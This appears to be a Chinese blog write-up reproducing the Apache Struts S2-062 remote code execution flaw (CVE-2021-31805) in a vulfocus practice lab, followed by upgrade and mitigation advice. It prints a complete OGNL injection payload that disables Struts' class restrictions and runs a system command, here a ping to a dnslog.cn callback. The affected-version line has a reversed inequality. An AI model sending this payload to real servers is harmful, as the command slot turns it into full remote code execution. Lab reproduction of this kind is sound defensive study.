S2-062_RCE漏洞复现(CVE-2021-31805)

一、漏洞描述

该漏洞是由于对S2-061(CVE-2020-17530)的修复不完整,在Apache Struts 2.0.0-2.5.29版本范围内,如果开发人员使用 %{xxx} 语法进行强制OGNL解析时,标签的某些属性仍然可被二次解析。当解析未经验证的用户输入时可能会导致远程代码执行。

二、影响范围

2.0.0 <= Struts >=2.5.29

三、漏洞复现

复现环境:vulfocus靶场

注册登录后启动CVE-2021-31805漏洞环境

 

 

 

访问漏洞地址,访问地址+测试路径。

 

这里使用Post方式传参,如果使用Get方法,抓包时需将Get改为Post。

 

 

 burp抓包发送Repeater,在name参数后插入payload。

 由于靶场无回显,这里使用dnslog探测。

payload:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))

这里将payload进行URL编码后发送,可在dnslog平台看到有响应,说明漏洞存在。

 

四、修复建议

1. Apahce官方已发布最新版本Struts2.5.30修复该漏洞,建议受影响的用户尽快将Apache Struts框架升级至最新版本。
 
下载链接:
 
https://struts.apache.org/download.cgi#struts-ga
 
2. 临时解决方法:
 
1) 避免对不受信任的用户输入使用强制OGNL解析
 
2) 开启ONGL表达式注入保护
posted @ 2022-04-21 17:35  打了个喷嚏  阅读(1801)  评论(0编辑  收藏  举报